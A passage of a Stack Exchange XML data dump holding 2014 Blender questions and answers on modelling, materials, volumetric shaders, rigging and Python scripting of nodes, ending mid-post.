  <row Id="7226" PostTypeId="2" ParentId="7150" CreationDate="2014-02-21T08:34:59.293" Score="1" Body="&lt;p&gt;To manually duplicate a light onto every face, oriented to the normal, is rather simple, parent the light to the object and enable DupliFaces. Make Duplicates Real can then turn the duplicates into individual objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That can also be easily duplicated using Python -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;replicator = bpy.context.active_object&#xA;&#xA;bpy.ops.object.lamp_add(type='AREA', location=(0,0,0))&#xA;light = bpy.context.active_object&#xA;&#xA;light.parent = replicator&#xA;replicator.dupli_type = 'FACES'&#xA;&#xA;replicator.select = True&#xA;bpy.ops.object.duplicates_make_real()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-02-21T08:34:59.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7227" PostTypeId="2" ParentId="7210" CreationDate="2014-02-21T09:08:17.580" Score="3" Body="&lt;p&gt;A easy way would be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select three vertices (right, left and middle) on the head;&lt;/li&gt;&#xA;&lt;li&gt;Create a empty based on that virtual plane using &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Precise_Align&quot; rel=&quot;nofollow noreferrer&quot;&gt;Precise Align&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select the empty, the &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;. You may want to rotate manually along Z axis if it's not expected after that.&lt;/li&gt;&#xA;&lt;li&gt;Select your object, &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; &gt; &lt;strong&gt;Clear and Keep Transformation&lt;/strong&gt;. Then delete the empty.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kxk5f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar usage like &lt;a href=&quot;https://blender.stackexchange.com/a/6376/696&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing that is worthy mentioning is: it's a scanned head in your case. Since real human body can be just roughly symmetrical, but not exactly as it appears, so the result may not be perfectlly symmetrical as expected. Of course, you can still give it a try.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-02-21T11:20:20.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7228" PostTypeId="1" AcceptedAnswerId="7229" CreationDate="2014-02-21T11:09:33.113" Score="4" ViewCount="2146" Body="&lt;p&gt;I'm a completely new blender user (just finished the beginer tutorials) and basically it's my first attempt in the world of CG creation and animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of my first goals is to create some 2D sprite animations using Blender's animation tools. I can draw these sprites in another software (like Gimp) and afterwards import them in Blender for animating. But this method is not so flexible because if i want to change a sprite i'll need to go back n forth from Blender to Gimp to achieve the best result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is about the drawing capabilities of Blender meaning does it have an integrated package of tools to draw in 2D like PS or Gimp? Can i draw vector, raster or both?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also is there a drawing software that is compatible with Blender so when you change a sprite in that particular 2d drawing software to automatically change it in Blender when imported?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if the questions sound dumb. Just seeking some guidance &amp;amp; flexibility concerning this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2543" LastActivityDate="2014-02-26T00:35:36.590" Title="Drawing in Blender" Tags="&lt;animation&gt;&lt;import&gt;&lt;image&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7229" PostTypeId="2" ParentId="7228" CreationDate="2014-02-21T11:37:08.270" Score="1" Body="&lt;p&gt;You can draw bitmaps in Blender, but for your workflow, I advice against it. You still need to save your image. Gimp has much better editing tools for images. Also, it is very easy to hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt; to export the image in Gimp, &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; to Blender and hit &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; to reload the saved image in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, Blender has some features that are very good for some purposes. For instance, the texture stencil painting is awesome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To edit images in Blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the &lt;em&gt;UV / Image Editor&lt;/em&gt;. Hit &lt;em&gt;New&lt;/em&gt; button. Input image dimensions. Switch to &lt;em&gt;Edit Mode&lt;/em&gt; (see screenshow below). Select tool in the toolbar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YsTq6.png&quot; alt=&quot;Editing images with paint brushes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditDate="2014-02-21T13:55:48.227" LastActivityDate="2014-02-21T13:55:48.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7230" PostTypeId="1" CreationDate="2014-02-21T12:33:43.207" Score="1" ViewCount="671" Body="&lt;p&gt;I'm trying to render some artifical object behind glass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This object has its material properties in such a way that it produces refraction (raytrace transparency with IOR &gt; 1), reflections, and it casts a shadow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AcoeAm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a real-life image as a background to render the scene, you can see the results before and after the process:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tpF7h.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;a href=&quot;http://www.youtube.com/watch?v=30pFzvcwQnc&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.youtube.com/watch?v=30pFzvcwQnc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that the model is not an accurate representation of the real object (I'm ok with that). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to get rid of the transparent model on the right image and &lt;strong&gt;keep only the distortions&lt;/strong&gt; on the apples, the reflections of the apples on the object and the shadow cast upon the table (there is no real table in the model, it's just the image)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should look like the original object (the glass on the left image) is casting the shadow and producing the refraction and the reflections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the model is an approximation of the real thing, it is ok not to have accurate distortions.&lt;/p&gt;&#xA;" OwnerUserId="2391" LastEditorUserId="3127" LastEditDate="2014-12-15T17:24:28.497" LastActivityDate="2014-12-15T17:24:28.497" Title="Render transparent object distortions but not the transparent object" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7231" PostTypeId="1" CreationDate="2014-02-21T16:46:31.690" Score="9" ViewCount="8675" Body="&lt;p&gt;I downloaded blender 2.7 to to do some volumetrics in cycles.&lt;br&gt;&#xA;How to set up material nodes because I have no idea, everything I do gives me a black diffuse.&lt;/p&gt;&#xA;" OwnerUserId="1866" LastEditorUserId="2217" LastEditDate="2014-08-17T02:41:46.430" LastActivityDate="2014-08-17T02:41:46.430" Title="cycles node setup for volumetric shader" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7232" PostTypeId="1" CreationDate="2014-02-21T17:38:10.237" Score="5" ViewCount="2366" Body="&lt;p&gt;I know what empties are for, but I'd like to change the colors of empties as a visual aid (for example, red for camera controls, green for object controls etc.) while animating. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="195" LastEditorUserId="599" LastEditDate="2014-02-21T18:50:35.410" LastActivityDate="2015-03-25T03:26:08.920" Title="Change the color of an empty?" Tags="&lt;workflow&gt;&lt;3d-view&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7233" PostTypeId="2" ParentId="7232" CreationDate="2014-02-21T17:52:34.350" Score="4" Body="&lt;p&gt;They can be changed from &lt;strong&gt;User Preferences &gt; Themes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OFG2a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you commented, &lt;strong&gt;per object&lt;/strong&gt; viewport color is unsupported officially. Such idea has been discussed before, and decision is to allow &lt;strong&gt;per type&lt;/strong&gt; color via Themes setting (see above), instead. So the answer is no (or not yet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you may consider to use another trick in case you have to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a simple mesh object, assign material with specific &lt;em&gt;Diffuse&lt;/em&gt; color (&lt;em&gt;Viewport Color&lt;/em&gt; for Cycles);&lt;/li&gt;&#xA;&lt;li&gt;Parent it to the empty (or other objects);&lt;/li&gt;&#xA;&lt;li&gt;Toggle off the renderability (or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;), and also selectbility in Outliner if necessary.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4y8Yc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, objects like empties and cameras can be indentified as you expect (except in Wireframe or Bounding Box view though). It might be the only solution so far, if you really have to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A specific feature to set per-object vewport color is available in &lt;a href=&quot;https://builder.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gooseberry branch build&lt;/a&gt;, I believe it will be soon merged into master trunk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/taeqU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-03-25T03:26:08.920" LastActivityDate="2015-03-25T03:26:08.920" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7234" PostTypeId="1" AcceptedAnswerId="7429" CreationDate="2014-02-21T19:06:26.277" Score="1" ViewCount="2143" Body="&lt;p&gt;I keep getting a visual C++ runtime error while starting up a fresh install of blender.... The following is a list of tasks that I have performed to try and fix the problem.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Uninstalling and Reinstalling Python 2.7.5&lt;/li&gt;&#xA;&lt;li&gt;Uninstalling and Reinstalling Current Versions of C++&lt;/li&gt;&#xA;&lt;li&gt;Used a working computer to compare versions of C++ and installed parallel versions of C++ clearing out my current list and using the working computer's versions and distributions (which were very hard to find considering on microsoft's website C++ 2008 only has one version available for download now)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Although version 2.63 works fine for me, I have just recently purchased an Addon that I would like to use for blender/Second Life called &quot;Avastar&quot; I can only use beta versions of this software with 2.63 as the stable version is only compatible with 2.69&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After about 2-3 hours of installing and uninstalling software related to C++ and Python I've done a system restore and am now posting for help. Below are my current System Specs&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;AMD Phenom II X4 965 (3.40 GHz)&lt;/li&gt;&#xA;&lt;li&gt;NVIDIA GeForce GTX 550 Ti&lt;/li&gt;&#xA;&lt;li&gt;8GB DDR3 &lt;/li&gt;&#xA;&lt;li&gt;Windows 7 x64 Ultimate&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please note: I've tried installing both versions of blender (x64, x86) both Zip &amp;amp; Installer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4mUC0.jpg&quot; alt=&quot;Programs and Features&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2545" LastEditorUserId="599" LastEditDate="2014-02-21T19:09:23.483" LastActivityDate="2014-03-31T14:24:53.060" Title="Visual C++ Runtime Error 2.69 Startup (Fresh Installation)" Tags="&lt;windows&gt;&lt;installation&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7235" PostTypeId="1" AcceptedAnswerId="7236" CreationDate="2014-02-21T19:57:37.373" Score="2" ViewCount="4393" Body="&lt;p&gt;I got a short question: If I apply the array modifier, are the objects still instances or are they converted to real objects? I also don't want to change these objects.&lt;/p&gt;&#xA;" OwnerUserId="2357" LastEditorUserId="599" LastEditDate="2014-02-22T04:21:37.260" LastActivityDate="2020-06-24T22:03:54.860" Title="Applying Array Modifier - Still instance?" Tags="&lt;modifiers&gt;" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7236" PostTypeId="2" ParentId="7235" CreationDate="2014-02-21T20:00:11.263" Score="6" Body="&lt;p&gt;&lt;strong&gt;No.&lt;/strong&gt;&#xA;They are never instanced, even before the modifier is applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The array modifier makes a new copy of the mesh for each repetition, storing the same geometry over and over. This allows other modifiers to make modifications to the mesh as a whole.&#xA;Unless you separate them after applying the modifier, they are all one object and part of the same mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So they are never instanced, because they are never actually separate objects.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To instance objects with an array modifier, you could try using the technique in &lt;a href=&quot;https://blender.stackexchange.com/a/9209/599&quot;&gt;my answer here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-12-09T21:19:47.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7237" PostTypeId="1" AcceptedAnswerId="7240" CreationDate="2014-02-21T20:10:01.100" Score="5" ViewCount="1160" Body="&lt;p&gt;More generally, using the Blackbody node as an example, how can I access the current numerical values of inputs, parameters/settings and outputs of cycles nodes, through the api or by other means?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this particular case I want to compare the conversion values calculated by the Blackbody node with other color temperature -&gt; RGB algorithms. But I'm interested in the more general situation. If this is not possible, shouldn't it be, and will it be in the future?&lt;/p&gt;&#xA;" OwnerUserId="2546" LastActivityDate="2014-02-22T12:08:35.887" Title="How can I see the actual numerical output RGB values of the cycles 'Blackbody' node? (preferably through api)" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7238" PostTypeId="2" ParentId="7235" CreationDate="2014-02-21T20:53:52.673" Score="1" Body="&lt;p&gt;Adding an array modifier to an object duplicates the meshes according to the parameters&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PwqSb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After appling the array modifier (still a single object) you could select all and &lt;em&gt;Separate&lt;/em&gt; &lt;kbd&gt;P&lt;/kbd&gt; &lt;em&gt;Separate by loose parts&lt;/em&gt; to create an object for each mesh created by the array operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IVL0l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-02-21T20:53:52.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7239" PostTypeId="1" AcceptedAnswerId="7254" CreationDate="2014-02-21T22:30:27.970" Score="2" ViewCount="597" Body="&lt;p&gt;I have this logo:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6yEgx.png&quot; alt=&quot;Logo&quot;&gt;&#xA;.blend file: &lt;a href=&quot;https://www.dropbox.com/s/1bib5ds8oufc9s9/logo.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/1bib5ds8oufc9s9/logo.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is I'm trying to make it lasercut. My lasercutter supports two colours - that is black and white (monochrome).&#xA;So, with the above logo I made it monochrome in Photoshop:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Uwcof.png&quot; alt=&quot;Photoshop monochrome&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, no matter how I try, the logo will not actually work (the text is not readable)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, this can be repaired by rendering each part of the logo black or white. For example, the background splodge could be in places white, and where there are the holes, black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then each of the circles could have an outline of black and the text could appear white, but to create the tilt effect, the sides of the text could be in black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, I am trying to make the text visible by making certain parts black and some white. I could change the material colours in Blender, or something, but then it will do a gradient, which is the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for reading my essay! ;) And I look forward to hearing from answers&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="12" LastEditDate="2014-02-21T23:30:29.867" LastActivityDate="2015-04-06T01:57:42.523" Title="How to render separate monochrome layers?" Tags="&lt;materials&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7240" PostTypeId="2" ParentId="7237" CreationDate="2014-02-21T23:40:39.650" Score="2" Body="&lt;p&gt;Example for the compositor node which is present by default:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;scene.use_nodes = True&#xA;&#xA;nt = scene.node_tree&#xA;&#xA;#get the node&#xA;node = nt.nodes['Composite']&#xA;&#xA;#access by string key in 2.69&#xA;input = node.inputs['Alpha'].default_value = 0.5&#xA;&#xA;#older versions of blender might require&#xA;#access by index&#xA;for index, input in enumerate(node.inputs):&#xA;    if input.name == &quot;Alpha&quot;:&#xA;        print(index)&#xA;        break&#xA;&#xA;#link    &#xA;output = nt.nodes['Render Layers'].outputs['Alpha']&#xA;nt.links.new(input, output)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can hover over the input with python tooltips enabled:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9jffI.png&quot; alt=&quot;hover python tooltip&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using python it is only possible to setup the tree and its parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Via OSL you can implement your own shaders. Enable &lt;em&gt;Open Shading Language&lt;/em&gt; in the render menu, add a script node and see &lt;em&gt;Text Editor&lt;/em&gt; -&gt; &lt;em&gt;Templates&lt;/em&gt; -&gt; &lt;a href=&quot;http://www.openshading.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Open Shading Language&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template &lt;em&gt;Temperature To RGB&lt;/em&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shader temperature_to_rgb(&#xA;    float Kelvin = 1200.0,&#xA;    output color Color = 0.8)&#xA;{   &#xA;    /* Kelvin to RGB */&#xA;    Color = blackbody(Kelvin);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see &lt;code&gt;blackbody&lt;/code&gt; is an inbuilt function of the standard library.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-02-22T12:08:35.887" LastActivityDate="2014-02-22T12:08:35.887" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7241" PostTypeId="1" CreationDate="2014-02-22T01:07:25.257" Score="2" ViewCount="129" Body="&lt;p&gt;In Blender it seems bump maps tend to take longer to render, so I was wondering if it was possible to merge those into an image such as a UV map.&#xA;is there a way to do this or a way to make bumpmaps render quicker?&lt;/p&gt;&#xA;" OwnerUserId="1911" LastActivityDate="2015-02-25T01:15:52.273" Title="can textures and bumpmaps be &quot;baked&quot; into a single texture?" Tags="&lt;texturing&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7243" PostTypeId="2" ParentId="7231" CreationDate="2014-02-22T01:41:14.403" Score="11" Body="&lt;p&gt;You have to use the volumetrics input in the material output node, instead of the surface input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0uuIJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are three different volume shaders. Volume absorption, volume scatter, and emission (yes, the same node used for making physical lamps).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Volume absorption is for simulating how light seems to vanish, like in smoke or clouds.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Volume scatter is for simulating how light bounces around inside of an object, similar to subsurface scattering.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And emission, when plugged into volume, is useful for rendering objects that emit light and are visible to your camera. This is good for flames and glowing objects that are semi-transparent.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Materials/Volume&quot; rel=&quot;noreferrer&quot;&gt;&lt;sup&gt;(More info here)&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="14" LastEditDate="2014-02-22T01:46:19.867" LastActivityDate="2014-02-22T01:46:19.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7244" PostTypeId="1" AcceptedAnswerId="7253" CreationDate="2014-02-22T02:57:32.330" Score="2" ViewCount="1051" Body="&lt;p&gt;I am making my first object in blender (a bow) its very simple started with a cube, thinned and / extruded / scaled / rotated / extruded / scaled / rotated / etc. to create half the bow about 5 pieces, I then simply mirrored if for the other half added a string then placed a single bone on the string (parent) another bone on the main bow (child) them) parented them, tested the mechanic, pulled the sting bone pulled away from the body bone okay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then selected the entire bow, and parented it to the bones with auto weights.  Now here is the problem.  In pose mode when I go to pull the bow string, it does pull back but instead of the string just pulling away from the bow frame, the string pulls back and the bow frame kind of pulls apart at all of its vertices. It just kind of falls apart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am following a tutorial that explains little to nothing other than just watching someone do it, so I don't know what he did that kept the bow in tack when he pulled the string, I tried groping the bow pieces all together but this didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/daYt0.png&quot; alt=&quot;&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H0ASF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2552" LastEditorUserId="2552" LastEditDate="2014-02-22T21:29:46.380" LastActivityDate="2014-02-22T21:29:46.380" Title="Simple bone pulling a bow (problem)" Tags="&lt;rigging&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7245" PostTypeId="2" ParentId="7235" CreationDate="2014-02-22T03:50:58.220" Score="2" Body="&lt;p&gt;No, they are not instances (new geometry is created for every copy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And moreover modifiers never instance objects, this is not how blenders modifiers work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(For instancing look into dupli-objects)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-02-22T03:50:58.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7246" PostTypeId="1" AcceptedAnswerId="7277" CreationDate="2014-02-22T10:09:25.847" Score="3" ViewCount="3085" Body="&lt;p&gt;After i created a duplication along a curve with &lt;a href=&quot;https://blender.stackexchange.com/questions/510/how-can-i-duplicate-a-mesh-along-a-curve&quot;&gt;this method&lt;/a&gt; I want to mirror the whole thing. If I add a mirror modifier on the curve and the object it doesn't the object is not transformed along the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cQdoQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2357" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-02-23T18:12:26.837" Title="Duplication along curve with Mirror modifier" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7247" PostTypeId="1" AcceptedAnswerId="7248" CreationDate="2014-02-22T10:57:43.567" Score="1" ViewCount="127" Body="&lt;p&gt;To avoid the need of scrolling I'd like to move &lt;em&gt;MHX Layers&lt;/em&gt; between &lt;em&gt;Transform&lt;/em&gt; and &lt;em&gt;Grease Pencil&lt;/em&gt;. Once I saw a video tutorial where this was done but I can't remember which one it was.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UqmsL.png&quot; alt=&quot;Change order of panels in N-Toolshelf&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="1363" LastEditDate="2014-02-22T12:09:20.687" LastActivityDate="2014-02-22T12:09:20.687" Title="How can panels be rearranged / order be changed?" Tags="&lt;interface&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7248" PostTypeId="2" ParentId="7247" CreationDate="2014-02-22T11:23:56.267" Score="4" Body="&lt;p&gt;The panel list can be re-arranged by dragging the top-right corner of each panel (the little triangle-like area with three small backslashes), then drop it after moving up or down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4mCRq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-02-22T11:23:56.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7249" PostTypeId="2" ParentId="6245" CreationDate="2014-02-22T11:47:44.580" Score="0" Body="&lt;p&gt;I found out that if I &lt;em&gt;download and extract&lt;/em&gt; the new blender version for linux and execute this version then CUDA is supported. BUT it I start the &lt;em&gt;installed blender version&lt;/em&gt; CUDA does not work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I once installed the toolkit but since I know the workaround I just &lt;em&gt;download&lt;/em&gt; the newest blender version from blender.org and use this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My OS: Kubuntu 12.04&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun!&lt;/p&gt;&#xA;" OwnerUserId="2553" LastActivityDate="2014-02-22T11:47:44.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7250" PostTypeId="1" CreationDate="2014-02-22T15:49:54.810" Score="1" ViewCount="1032" Body="&lt;p&gt;Does anyone know the minimum parallax requirements during filming for successful motion tracking reconstruction? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the documentation says you need:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;at least 8 common tracks on the both of the selected keyframes.&lt;/li&gt;&#xA;&lt;li&gt;noticeable parallax effects between these two keyframes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, after many failed attempts at filming a scene using these guidelines,&#xA;I was wondering if anyone knows enough about parallax to describe the exact requirements more specifically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I've wondered is is there a requirement of the relationship of the 8 markers to the angles of the camera, or do you just have to have 8 markers somewhere and the key is only the camera angles? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you say the key is only the camera angles, can you give any more specifics? I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;~45° on the X/Y plane with ~10° arc into Z, but this video&#xA;failed to reconstruct&lt;/li&gt;&#xA;&lt;li&gt;~160° on the X/Y plane with a ~20° arc into Z, and this video&#xA;reconstructed quite well&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As a note, on both of these 